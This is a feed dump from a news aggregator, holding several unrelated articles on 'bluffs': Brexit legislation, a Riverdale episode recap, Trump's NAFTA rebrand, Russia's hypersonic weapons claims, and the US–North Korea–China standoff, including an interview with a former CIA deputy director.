A Government source said the Withdrawal Agreement Bill – which is needed to ratify the deal with Brussels – would include new measures on protecting workers’ rights, an issue where agreement with Labour was said to have been close.

However, the source made clear the package would not just be aimed at Labour MPs but would seek to secure the widest possible support across the Commons.

It is expected to include provisions on future trade arrangements with the EU, on environmental protection, and on Northern Ireland, including the use of technology to avoid the need for border controls with the Republic.

Ministers will also consider whether to put any of the alternative approaches to indicative votes in the Commons to establish which, if any, can command a majority.

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]]> https://briefnews.eu/piers-morgan-reveals-how-he-would-solve-brexit-call-eus-bluff-and-send-farage/feed/ 0 Riverdale season 3 spoilers: ‘No way in hell’ Fans call ‘bluff’ after shock DOUBLE death https://briefnews.eu/riverdale-season-3-spoilers-no-way-in-hell-fans-call-bluff-after-shock-double-death/ https://briefnews.eu/riverdale-season-3-spoilers-no-way-in-hell-fans-call-bluff-after-shock-double-death/#respond Thu, 25 Apr 2019 03:42:36 +0000 http://briefnews.eu/riverdale-season-3-spoilers-no-way-in-hell-fans-call-bluff-after-shock-double-death/

WARNING: This article contains spoilers from Riverdale season three episode 19, titled Fear the Reaper.

Riverdale producers threw another spanner in the works when they revealed Betty Cooper’s (played by Lili Reinhart) dad, Hal (Lochlyn Munro), had died under the suspicious circumstances in the latest episode, sending fans into a frenzy.

The Black Hood bandit had previously begged his daughter to set him free, so Betty turned to Hiram Lodge (Mark Consuelos) for help.

She asked Hiram to transfer him to one of the “waterfront rooms” at the prison, which he agreed to do.

While Hiram saw to getting Hal transferred, Betty busied herself with The Farm, digging for information on Edgar and Evelyn Evernever.

Betty discovered Edgar (Chad Michael Murray) will adopt Juniper and Dagwood, following his marriage to her mother, Alice (Mädchen Amick).

Upon further research, she learned Evelyn Evernever (Zoé De Grand Maison) has been going from school to school posing as a junior when she is really 26.

As if that was not enough, when she called on Ms Weiss to do a background check on her she found out Evelyn is not Edgar’s daughter, but his wife.

After, Betty enlisted her aunt Penelope Blossom (Nathalie Boltt) to save the twins from Edgar, however, she only managed to rescue Dagwood.

Given she had no other option, Betty convinced Toni Topaz (Vanessa Morgan) to help her break into The Farm to save Juniper.

Toni did as she was asked, but it was a trap and Betty found out her mother knew Edgar was married to Evelyn.

Then, Edgar tried to persuade Betty to join them and was almost successful until she remembered the levitating babies from a previous episode and fled.

The episode for Betty ended with her finding out her father, Hal, had been killed in an accident during his prison transfer.

Despite all the drama she went through in this edition of Riverdale, fans of the show latched onto the final nail in the coffin – her father’s death.

Most bellied the concept Hal had died as nobody was shown and characters are known to mysteriously return from the dead.

Taking to Twitter to debate Hal’s death, one person wrote: “I don’t think Hal is dead, my theory is that he killed all the inmates to escape and go back to Riverdale because he told Betty in the last episode that he wanted to go home.”

Agreeing, another added: “Nah. Hal isn’t dead. This was probably his plan all along. In fact, it’ll probably be Hal or Chic in the Gargoyle costume that Betty is confronting with a gun during the promo for next week.”

A third commentator stated: “Until I see Hal’s dead body, I will not believe that he is dead Riverdale.”

Someone else said: “There is literally no way in hell that Hal is dead Riverdale.”

Riverdale continues next Wednesday on The CW in the US and today on Netflix in the UK.

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]]> https://briefnews.eu/riverdale-season-3-spoilers-no-way-in-hell-fans-call-bluff-after-shock-double-death/feed/ 0 Trump’s NAFTA Strategy: Bluff, Rebrand, Declare Victory https://briefnews.eu/trumps-nafta-strategy-bluff-rebrand-declare-victory/ https://briefnews.eu/trumps-nafta-strategy-bluff-rebrand-declare-victory/#respond Tue, 28 Aug 2018 07:24:18 +0000 http://briefnews.eu/trumps-nafta-strategy-bluff-rebrand-declare-victory/ President Trump said Monday he’s “terminating” NAFTA, the free-trade deal with Canada and Mexico he’s called a “disaster” and blamed for job losses in the United States. It looked like a potentially massive development, as if Trump were signaling the end of a $ 1 trillion trade deal that’s defined trade in North America for more than two decades.

But what he went on to describe seemed like more of a rebrand than a revolution. He hailed new trade arrangements with Mexico, said he’d “see if Canada can be part of the deal,” and signaled that what he might really want to terminate was the name “NAFTA” itself.

“They used to call it NAFTA. We’re going to call it the United States–Mexico Trade Agreement, and we’ll get rid of the name NAFTA,” Trump said in the Oval Office, with Mexican President Enrique Peña Nieto on speakerphone. “It has a bad connotation because the United States was hurt very badly by NAFTA for many years.” (Peña Nieto, in his remarks, referred to the agreement as NAFTA.)

How easily could Trump withdraw the U.S. from NAFTA?

Trump also appeared to suggest that the agreement with Mexico was a bilateral one and that the U.S. would reach a separate bilateral agreement with Canada, the United States’ second-largest trading partner. “I think we’ll give them a chance to probably have a separate deal,” he said. “We can have a separate deal or we can put it into this deal.”

He added: “One way or another we’ll have a deal with Canada. It’ll either be a tariff on cars or it’ll be a negotiated deal. Frankly, a tariff on cars is a much easier way to go. Perhaps, the other would be much better for Canada.” A tariff on Canadian auto imports to the U.S. would make cars more expensive for American consumers.

Monday’s remarks fit the pattern of Trump’s international negotiations. They showed his preference for dealing with countries one-on-one rather than through multilateral institutions, a tendency he’s displayed in trade negotiations with Europe as well. And they also showcased a strategy where Trump bluffs, rebrands, and claims victory. It’s not clear Trump can actually terminate NAFTA without congressional approval; he signaled his dislike of the agreement’s “connotations,” and he declared his arrangement with Mexico “an incredible deal for both parties.”

But what it may amount to in the end is some tweaks to the existing agreement—albeit ones that concern some of the most significant issues in the U.S. trade relationship with Mexico. Among these is the auto industry. The two countries agreed on steps that would, in effect, stimulate American manufacturing. The auto negotiations, the Toronto Star reported, had become contentious, which is part of the reason they didn’t include Canada. Other details of the deal with Mexico, and any agreement with Canada, will likely emerge in the coming days and weeks.

A senior administration official, speaking to reporters after Trump made his remarks, explained Trump’s comments on NAFTA this way: “Whenever you have an agreement that supplants another agreement, you have to pause or get rid of the prior agreement,” the official said. “How we do that is something we’re still in the process of looking at.”

How NAFTA explains the two Mexicos

The official downplayed suggestions that the bilateral agreement with Mexico was meant to put pressure on Canadian Prime Minister Justin Trudeau. “We were in a position where we had negotiations that went on for close to a year. In the last … several weeks, we decided we were better off to try to get a deal with one party and then hopefully the other,” the official said. “It tends to be the way these things work in any event. It’s hard to have three people all just have a lightbulb go off at the same time.”

The official noted that U.S. and Canadian negotiators had discussed the issues for thousands of hours both bilaterally and with Canada. “It’s not like Canada is coming in at the last minute. They know the issues,” the official said. “We talked about all those issues and I think this is a normal, orderly way to arrive at an agreement with three people.”

The other parties to NAFTA, for their part, are not speaking as if the agreement is going away. A statement from the Canadian prime minister’s office said Justin Trudeau had spoken Sunday to Peña Nieto, the Mexican president, and agreed that NAFTA was a trilateral agreement—a tweet from Peña Nieto said Mexico hoped for a “successful trilateral negotiation of NAFTA this week.” It is unclear whether Mexico will go along with the agreement if Canada is not party to it. A spokesman for Chrystia Freeland, Canada’s foreign minister, said: “We will only sign a new NAFTA that is good for Canada and good for the middle class. Canada’s signature is required.”

Trade and the art of motorcycle tariffs

NAFTA, which was signed by the three countries in 1993 and went into effect a year later, is responsible for about $ 1 trillion in trade among them. Critics of the agreement have said it encouraged American companies to move manufacturing jobs to Mexico, where costs are lower. The Trump administration had wanted a clause that would have killed any deal after five years unless all its signatories agreed to renew it. They moved away from that idea in Monday’s announcement: The agreement with Mexico will remain in effect for 16 years, but be renegotiated every six years, the senior administration official said. If negotiators agree to keep the deal as is at the end of the six years, the accord will last another 16 years, the official said. If not, negotiators will meet each year until issues on which they differ are resolved. The official said this mechanism will keep “disputes from festering.”

Monday’s announcement should put to rest some of the uncertainty among U.S. businesses surrounding the agreement. But questions persist on  how the deal will make it through Congress, which has said it wants a trilateral deal. The official said the White House believed the president’s move was consistent with his powers.

Robert Lighthizer, the president’s trade representative, said the U.S. would submit a letter to Congress on Friday, adding he hoped Canada will join the deal later this week, but he added that Ottawa will have the option to join at a later time.

]]> https://briefnews.eu/trumps-nafta-strategy-bluff-rebrand-declare-victory/feed/ 0 Russia’s next-gen hypersonic & nuclear weapons ‘not a bluff, but new reality’ – Defense Ministry https://briefnews.eu/russias-next-gen-hypersonic-nuclear-weapons-not-a-bluff-but-new-reality-defense-ministry/ https://briefnews.eu/russias-next-gen-hypersonic-nuclear-weapons-not-a-bluff-but-new-reality-defense-ministry/#respond Mon, 12 Mar 2018 22:09:52 +0000 http://briefnews.eu/russias-next-gen-hypersonic-nuclear-weapons-not-a-bluff-but-new-reality-defense-ministry/ Russia’s Deputy Defense Minister has hinted at an early start to the mass production of the boost-glide Avangard hypersonic systems and has shared new details about Russia’s other recently-unveiled, seemingly futuristic weapons.

“This is not a bluff, but a reality,” Yury Borisov told Russian Ministry of Defense news outlet, Krasnaya Zvezda.

Read more

Cruise missile of unlimited range © Минобороны России

During his March 1 address to the Federal Assembly, President Vladimir Putin had already announced a number of technological breakthroughs, developed over recent years to maintain the balance of power in the wake of the US anti-ballistic missile shield expansion.

The hypersonic Avangard boost-glide system, which has been presented only in a CGI video, has been already “thoroughly tested,” according to Borisov. The device is a sort of payload delivery system, to be fitted into upper stages of strategic ballistic missiles.

Russia’s President described it “as a meteor, as a fire ball” going to a target, while retaining high maneuverability and full control to evade any defense systems. The main obstacle in its development was to create materials that would effectively survive extremely high temperatures of some 2,000 degrees Celsius, Borisov said.

“The practical tests have proved viability of the chosen concept. I’ll tell you more – we already have a contract for serial production of the system. So, it’s not a bluff, but a real thing,” Borisov stated.

Kinzhal hypersonic missile

Another Russian hypersonic novelty, the air-launched missile dubbed the Kinzhal (Russian for ‘dagger’), owes its exceptionally high maneuverability to a system of aerodynamic rudders, Borisov said. It remains unclear whether the missile also maneuvers using some sort of engine gimbal. The munition is launched from high-altitude planes, such as the MiG-31, and has an effective range of 2,000km. It can dodge the defenses of a potential adversary through sharp and swift maneuvering, while travelling some 10 times faster than sound.

The propulsion system of the missile, which can be fitted with nuclear and conventional warheads, still remains a mystery and even the most recent video of its tests did not shine much light. The engine of the missile is concealed within an aerodynamic shroud, which is shot off only when the munition is deployed from a plane.

Nuclear-powered weapons

The two other novelties – a still-unnamed nuclear-powered drone submarine and cruise missile of unlimited range – have the same technological breakthrough behind them, Borisov stated.

Read more

© Russia's Ministry of Defense

Development of these two new weapons has become possible after Russian scientists created a reliable and sufficiently miniature nuclear reactor to power them. If the word “fantastic” can be applied to the recently unveiled weaponry, it perfectly fits this nuclear power horse, the official said.

“Several hours are needed to get the reactor of a nuclear submarine to operational power but, in this case, it happens in a matter of seconds,” Borisov stated. “At the same time, the dimensions of the reactor allow [us] to create a torpedo of acceptable dimensions and weight.”

The cruise missile of unlimited range is based on the same principles, the official said. The ability of the reactor to get operational within seconds is vital for the missile, Borisov stressed, revealing a new, peculiar detail about the munition.

“As you might guess, [the missile] is launched using conventional powder boosters, and then the nuclear reactor kicks in. This must happen really quickly,” he said.

Go watch sci-fi films to underhand Russia’s laser weaponry

The most mysterious weapon unveiled by the Russian president, a “combat laser system,” retains the ‘mysterious’ title, as Borisov also provided quite vague details on it. While it’s known that the Army started receiving the laser systems last year, their exact purpose is not clear yet.

“Our nuclear scientists have learned to concentrate energy needed to hit certain weapon systems of a potential adversary within a fraction of second,” Borisov said, adding that the laser system can reliably “disarm” enemies.

It remains unclear whether the device is a sort of jammer, used to “blind” optical-electronic equipment of enemies’ vehicles, or indeed a sci-fi sort of a laser cannon to blow – melt, actually – holes in stuff with a powerful beam. Given Borisov’s comments, even this might be the case.

“One can talk a lot about laser weaponry, films have been shot about it, fantastic books have been written, everybody knows about it. But the system’s already getting deployed – is today’s reality,” the official said, cryptically.

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]]> https://briefnews.eu/russias-next-gen-hypersonic-nuclear-weapons-not-a-bluff-but-new-reality-defense-ministry/feed/ 0 North Korea’s Japan Missile Flyover Calls Donald Trump’s Bluff https://briefnews.eu/north-koreas-japan-missile-flyover-calls-donald-trumps-bluff/ https://briefnews.eu/north-koreas-japan-missile-flyover-calls-donald-trumps-bluff/#respond Tue, 29 Aug 2017 20:51:26 +0000 http://briefnews.eu/north-koreas-japan-missile-flyover-calls-donald-trumps-bluff/ Donald Trump’s scorched-earth rhetoric pushes North Korea closer to the brink—and, maybe, the US closer to the negotiating table.


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]]> https://briefnews.eu/north-koreas-japan-missile-flyover-calls-donald-trumps-bluff/feed/ 0 North Korea–US: Bluff and Bluster or Path to War? https://briefnews.eu/north-korea-us-bluff-and-bluster-or-path-to-war/ https://briefnews.eu/north-korea-us-bluff-and-bluster-or-path-to-war/#respond Sun, 13 Aug 2017 05:07:28 +0000 http://briefnews.eu/north-korea-us-bluff-and-bluster-or-path-to-war/

Washington and Pyongyang are going head-to-head, lobbing threats across the Pacific as a result of missile tests and nuclear bluster from North Korea. Will President Donald Trump’s rhetoric frighten “Supreme Leader” Kim Jong-un into submission, or quite the opposite? With half of the planet Googling what to do in the event of nuclear war, we sat down with OZY senior columnist and former CIA deputy director John McLaughlin to discuss the latest twists and turns. This interview has been edited for clarity.

How likely is it that North Korea has developed an intercontinental ballistic missile and a miniaturized warhead?

John McLaughlin: We cannot be sure. Recent unsubstantiated press leaks allege that at least some parts of the intelligence community think North Korea can now miniaturize a nuclear weapon to fit on an ICBM. Private experts, including a prominent scientist formally associated with one of America’s nuclear laboratories, are more cautious in their estimates. Some government experts reportedly think the North has as many as 60 nuclear warheads, but most private sector experts put the number lower. Bottom line? The North has clearly made progress and, if left unimpeded, will definitely get to a nuclear armed intercontinental missile eventually. In the face of uncertainty, it is prudent to assume for planning purposes that they are there, rather than thinking we can confidently predict the exact moment they attain the capability.

There’s bluff in both sides’ positions at this point — but plenty of room for miscalculation.

Is North Korea bluffing? Is the United States?

McLaughlin: Seems to me there’s bluff in both sides’ positions at this point — but plenty of room for miscalculation. Radical threats from the North, on which they seldom act, are standard practice for them. By promising the North “fire and fury” as President Trump has, we are playing their game and giving them importance beyond what they deserve. The U.S. president should listen to this recording of JFK during the 1962 Cuban missile crisis as he tries to control the message and avoid escalation.

There is still time to move this away from escalation. Defense Secretary [James] Mattis has helpfully said that diplomacy is in the lead on the U.S. side — a good thing — and the Chinese, via official media, have cautioned Pyongyang that they are alone if they get in a fight with the U.S. There are also reports that the U.S. is talking to the North via back channels, probably through the North Korean U.N. ambassador. In short, the situation is starting to develop a different feel — shifting more into a diplomatic gear. North Korea has threatened Guam often in the past and has never followed through. If I had to bet, I’d say they will not this time either. If that is the case, prepare for President Trump to claim credit and attribute it to his tough talk, even though the more likely reason is that the North’s rhetoric is once again outstripping its capability.

Why would Kim Jong-un target Guam, and what would be the required U.S. response?

McLaughlin: I think Kim is probably already looking for some plausible excuse to back down. So it’s a mistake for President Trump to essentially dare him to do it. We should look quietly for a face-saving way for Kim to back away from his threat, rather than playing rhetorical chicken. It has a kind of schoolyard sound to it, and if we must duel rhetorically with Kim, it should be someone other than the president throwing the verbal punches. You always want to hold the commander in chief in reserve, rather than getting him boxed in right away. If you don’t, who’s left to change the dynamic when situations escalate?

As for Guam, Kim is probably highlighting it because it’s a base for American strategic bombers, U.S. nuclear submarines and missile defense capabilities against ICBMs. I believe he understands that an actual attack on Guam would be suicidal.

Why would China allow such escalation?

McLaughlin: I’m certain China hates this posturing by the two sides. The last thing Beijing wants is war on the Korean Peninsula. Although it would be bloody and disastrous for all sides, South Korea and the United States would win, and China would then be facing a united peninsula likely allied with the U.S. China favors a resumption of talks with the North, and we should be working to get Beijing to use its influence to facilitate that. Despite Beijing’s caution to Pyongyang, we cannot rule out that Beijing would join in if it saw Pyongyang going down. That is the nightmare scenario.

Some have suggested that Kim Jong-un’s Swiss education means he understands that he can’t leave his country impoverished. Do you agree his Western experience could make any difference?

McLaughlin: No American leader has met Kim, so our ability to assess the effect of his Swiss education is limited. I would go so far as to say, however, that it almost certainly gave him an understanding of the outside world and of how backward his country really is — and perhaps a desire to change that. His time in Western education is also a reason why I think he is not irrational — impulsive maybe, but not irrational.

Should we assassinate Kim Jong-un?

McLaughlin: No! Assassination of foreign leaders is forbidden under U.S. executive order 12333, and for good reason. This would be a dangerous path to pursue. Where would it end?

Do we have spies in North Korea? How hard is it to gain solid intel there?

McLaughlin: I can’t discuss whether we have spies in North Korea or how we gather intelligence on it. What I can say is that it is a difficult intelligence target because of the regime’s firm policy of keeping information out and its people in. There are few, if any, organized external opposition groups, which are often the source of insights into closed societies, and the United States has no official diplomatic representation there.

How many are in line who could press the button if Kim Jong-un is taken out?

McLaughlin: The North Korean power structure centers entirely on the Kim family and the military and political elites that it cultivates and supports — and who, in turn, support it. Kim could go in a variety of ways, ranging from natural death to an internal coup by the military. There would probably be substantial chaos because the Kim family has enjoyed uninterrupted rule since 1948. We could see anything from a military junta to violent factional infighting in which it would be difficult to assess who would come out on top. For the United States and its allies, the key questions would be: Where are the nuclear weapons, and who is in control of them? Meanwhile, we would probably witness a massive humanitarian crisis as refugees sought to escape north into China or south into South Korea.

It would be an ugly and dangerous time, and it is to our advantage to begin thinking now about how to ensure a “soft landing” when this country — a throwback to a lost era — begins to crumble.

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OZY – The Daily Dose

]]> https://briefnews.eu/north-korea-us-bluff-and-bluster-or-path-to-war/feed/ 0 Here’s why China’s supposed influence over North Korea is a bluff https://briefnews.eu/heres-why-chinas-supposed-influence-over-north-korea-is-a-bluff/ https://briefnews.eu/heres-why-chinas-supposed-influence-over-north-korea-is-a-bluff/#respond Sun, 25 Jun 2017 11:24:32 +0000 http://briefnews.eu/heres-why-chinas-supposed-influence-over-north-korea-is-a-bluff/ xi jinpingJason Lee / REUTERS

The US is pushing China deeper into a corner over the crisis with North Korea. It wants the Chinese to persuade the North Koreans to give up their nuclear weapons and ballistic missile programs.

The popular perception is that Beijing has substantial leverage over Pyongyang, partly because China is North Korea’s largest trading partner. This impression also stems from China’s proposals to mediate trade concessions between North Korea and the United States.

The US has recently urged China to continue to use its leverage over North Korea and said there will be consequences if China does not. However, on June 20, Trump tweeted that China’s efforts to influence North Korea appeared to have failed.

Later that night, US satellites reportedly detected modifications to an underground North Korean test site that may be preparing for the country’s sixth nuclear test.

This raises some questions: Does China have the power to deter the North Koreans? and how much influence does Beijing actually have over Pyongyang?

Steps Taken

China has already taken action to apply pressure on North Korea. In February, Beijing said it halted imports of North Korean coal, according to UN sanctions. These sanctions limit North Korean coal exports—which were worth $ 1 billion in 2014—to $ 400 million for the year.

Earlier this month, after North Korea did another round of missile tests, the UN expanded sanctions by freezing the assets of four North Korean companies and 14 members of the regime and imposing a travel ban on the same individuals.

China supported this motion. China has also taken action with regard to migrant laborers from North Korea. In March 2016, the Chinese government informally told Chinese companies to stop hiring North Korean workers.

Remittances from North Koreans living abroad are a vital source of hard currency for the regime, up to $ 2.3 billion annually according to some estimates.

What Can China Do That It Hasn’t Yet Done?

The answer is… not a whole lot.

It could impose greater financial sanctions. But it seems unlikely that financial sanctions could deter North Korea from pursuing a program that it considers central to its security interests. Especially given that current pressure has not done so already.

That leaves Chinese crude oil exports as Beijing’s strongest remaining point of leverage. North Korea generates most of its electricity from coal, but its military would depend on crude oil if a conflict were to break out.

Without it, Pyongyang’s ability to wage war would be significantly reduced.

China no longer discloses how much crude oil it exports to North Korea. However, some estimate that it could account for 500,000 tons per year, or about 3.7 million barrels.

North Korea is believed to have only minimal capacity to produce crude oil. Its imports from Russia are not substantial either. That means it’s a real threat to North Korea and gives China some strong leverage.

But China may decide that it’s not in its interest to cut oil supplies to North Korea. If this move doesn’t stop the North Koreans and war does break out, China doesn’t want to be on Pyongyang’s list of enemies.

The US Will Push China More Going Forward

Given these limited options, there are two reasons the US would continue to demand further action from China.

First, the US will explore all options within a certain window of time before resorting to force. In the lead-up to the Iraq War in 2003, the international community tried to mediate a solution, and the US declined the offer.

This time, it will seek mediation from anyone willing to offer—even Dennis Rodman, who visited North Korea just last week.

If it decides that a strike is necessary, the US wants to be able to point out that it tried every diplomatic solution, including using China as a mediator, before resorting to force.

And by pushing China to act as an intermediary, it can argue that it was China, in fact, that failed to prevent the war.

The second reason the US will demand further action from China is that China has long used its supposed influence over North Korea as a way to gain concessions from the US.

The US is now calling China’s bluff. If China can’t sway the North Koreans, then it will no longer be able to use them as a bargaining chip in future negotiations with the US.

Statements by officials are often just smoke and mirrors.

In this case, the US’s demands for China show that it’s time to act. Public posturing gives the US real leverage in its private discussions with Beijing. But China’s window of opportunity is closing, and if Trump’s tweet is any indication, it may have already closed.

 

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